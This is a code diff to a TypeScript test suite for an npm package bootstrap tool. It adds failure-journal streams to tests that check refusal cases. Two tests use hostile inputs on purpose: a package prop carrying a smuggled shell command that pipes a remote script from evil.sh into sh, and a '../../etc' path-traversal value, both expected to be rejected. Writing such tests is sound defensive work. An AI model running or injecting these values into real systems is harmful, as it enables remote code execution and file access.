1414 * Nothing here contacts a registry.
1515 */
1616
17- import { describe , it } from "@executablemd/test-support/bdd" ;
17+ import { beforeEach , describe , it } from "@executablemd/test-support/bdd" ;
18+ import { journalBeforeEach , useJournalStream } from "@executablemd/test-support/failure-journal" ;
1819import { expect } from "@executablemd/test-support/expect" ;
1920import { ensure , resource , scoped , until } from "effection" ;
2021import type { Operation } from "effection" ;
@@ -31,6 +32,7 @@ import { Elicitation, execute, useTempFileCompiler } from "@executablemd/core";
3132import type { ElicitationRequest } from "@executablemd/core" ;
3233
3334const DOCUMENT = fileURLToPath ( new URL ( "../../components/BootstrapNpmPackage.md" , import . meta. url ) ) ;
35+ const OWNER = "scripts/tests/bootstrap-npm-package.test.ts" ;
3436
3537const BOOTSTRAP_VERSION = "0.0.0-bootstrap.0" ;
3638
@@ -306,7 +308,11 @@ interface Run {
306308 execCount : number ;
307309}
308310
309- function run ( fixture : Fixture , options : RunOptions = { } ) : Operation < Run > {
311+ function run (
312+ fixture : Fixture ,
313+ options : RunOptions = { } ,
314+ stream = new InMemoryStream ( ) ,
315+ ) : Operation < Run > {
310316 return scoped ( function * ( ) {
311317 if ( options . state ) {
312318 yield * writeTextFile ( fixture . stateFile , options . state ) ;
@@ -393,7 +399,7 @@ function run(fixture: Fixture, options: RunOptions = {}): Operation<Run> {
393399 try {
394400 const execution = yield * execute ( {
395401 path : DOCUMENT ,
396- stream : new InMemoryStream ( ) ,
402+ stream,
397403 props : { package : options . packageProp ?? "packages/fixture" } ,
398404 } ) ;
399405 // The two steps cli.ts performs, in its order: drain the output stream
@@ -447,6 +453,7 @@ function expectNoRegistryMutation(run: Run): void {
447453}
448454
449455describe ( "bootstrap an npm package" , ( ) => {
456+ beforeEach ( journalBeforeEach ( OWNER ) ) ;
450457 describe ( "verifying before it works" , ( ) => {
451458 it ( "renders the checklist from what npm reported" , function * ( ) {
452459 const fixture = yield * useFixture ( ) ;
@@ -462,7 +469,7 @@ describe("bootstrap an npm package", () => {
462469
463470 it ( "stops on a failed login, before it looks at the registry" , function * ( ) {
464471 const fixture = yield * useFixture ( ) ;
465- const result = yield * run ( fixture , { whoamiFails : true } ) ;
472+ const result = yield * run ( fixture , { whoamiFails : true } , yield * useJournalStream ( DOCUMENT ) ) ;
466473
467474 expect ( result . ok ) . toBe ( false ) ;
468475 expect ( result . requests . length ) . toBe ( 0 ) ;
@@ -473,7 +480,11 @@ describe("bootstrap an npm package", () => {
473480
474481 it ( "stops on an npm too old for `npm trust`" , function * ( ) {
475482 const fixture = yield * useFixture ( ) ;
476- const result = yield * run ( fixture , { npmVersion : "11.14.0" } ) ;
483+ const result = yield * run (
484+ fixture ,
485+ { npmVersion : "11.14.0" } ,
486+ yield * useJournalStream ( DOCUMENT ) ,
487+ ) ;
477488
478489 expect ( result . ok ) . toBe ( false ) ;
479490 expect ( result . failure ) . toContain ( "11.15" ) ;
@@ -592,7 +603,11 @@ describe("bootstrap an npm package", () => {
592603 describe ( "refusing before anyone is asked" , ( ) => {
593604 it ( "refuses a package already published at another version" , function * ( ) {
594605 const fixture = yield * useFixture ( ) ;
595- const result = yield * run ( fixture , { state : "unexpected" } ) ;
606+ const result = yield * run (
607+ fixture ,
608+ { state : "unexpected" } ,
609+ yield * useJournalStream ( DOCUMENT ) ,
610+ ) ;
596611
597612 expect ( result . ok ) . toBe ( false ) ;
598613 expect ( result . output ) . toContain ( "is already a live package on npm" ) ;
@@ -603,7 +618,11 @@ describe("bootstrap an npm package", () => {
603618
604619 it ( "refuses a reservation whose dist-tags are not the expected one" , function * ( ) {
605620 const fixture = yield * useFixture ( ) ;
606- const result = yield * run ( fixture , { state : "foreign-tag" } ) ;
621+ const result = yield * run (
622+ fixture ,
623+ { state : "foreign-tag" } ,
624+ yield * useJournalStream ( DOCUMENT ) ,
625+ ) ;
607626
608627 expect ( result . ok ) . toBe ( false ) ;
609628 expect ( result . requests . length ) . toBe ( 0 ) ;
@@ -613,7 +632,11 @@ describe("bootstrap an npm package", () => {
613632
614633 it ( "refuses a workspace path with no manifests" , function * ( ) {
615634 const fixture = yield * useFixture ( ) ;
616- const result = yield * run ( fixture , { packageProp : "packages/absent" } ) ;
635+ const result = yield * run (
636+ fixture ,
637+ { packageProp : "packages/absent" } ,
638+ yield * useJournalStream ( DOCUMENT ) ,
639+ ) ;
617640
618641 expect ( result . ok ) . toBe ( false ) ;
619642 expect ( result . requests . length ) . toBe ( 0 ) ;
@@ -623,7 +646,11 @@ describe("bootstrap an npm package", () => {
623646
624647 it ( "refuses a member outside the @executablemd scope" , function * ( ) {
625648 const fixture = yield * useFixture ( ) ;
626- const result = yield * run ( fixture , { packageProp : "packages/foreign" } ) ;
649+ const result = yield * run (
650+ fixture ,
651+ { packageProp : "packages/foreign" } ,
652+ yield * useJournalStream ( DOCUMENT ) ,
653+ ) ;
627654
628655 expect ( result . ok ) . toBe ( false ) ;
629656 expect ( result . requests . length ) . toBe ( 0 ) ;
@@ -633,9 +660,13 @@ describe("bootstrap an npm package", () => {
633660
634661 it ( "refuses a package prop that would reach the shell" , function * ( ) {
635662 const fixture = yield * useFixture ( ) ;
636- const result = yield * run ( fixture , {
637- packageProp : "packages/fixture; curl evil.sh | sh" ,
638- } ) ;
663+ const result = yield * run (
664+ fixture ,
665+ {
666+ packageProp : "packages/fixture; curl evil.sh | sh" ,
667+ } ,
668+ yield * useJournalStream ( DOCUMENT ) ,
669+ ) ;
639670
640671 expect ( result . ok ) . toBe ( false ) ;
641672 // Refused by schema validation before the body ran at all — not cleaned
@@ -646,7 +677,11 @@ describe("bootstrap an npm package", () => {
646677
647678 it ( "refuses a package prop that escapes the workspace" , function * ( ) {
648679 const fixture = yield * useFixture ( ) ;
649- const result = yield * run ( fixture , { packageProp : "../../etc" } ) ;
680+ const result = yield * run (
681+ fixture ,
682+ { packageProp : "../../etc" } ,
683+ yield * useJournalStream ( DOCUMENT ) ,
684+ ) ;
650685
651686 expect ( result . ok ) . toBe ( false ) ;
652687 expect ( result . execCount ) . toBe ( 0 ) ;
@@ -655,7 +690,7 @@ describe("bootstrap an npm package", () => {
655690
656691 it ( "refuses a preview that prints before it fails, keeping what it printed" , function * ( ) {
657692 const fixture = yield * useFixture ( ) ;
658- const result = yield * run ( fixture , { packFails : true } ) ;
693+ const result = yield * run ( fixture , { packFails : true } , yield * useJournalStream ( DOCUMENT ) ) ;
659694
660695 expect ( result . ok ) . toBe ( false ) ;
661696 // npm's own diagnostic reaches the failure, and everything rendered
0 commit comments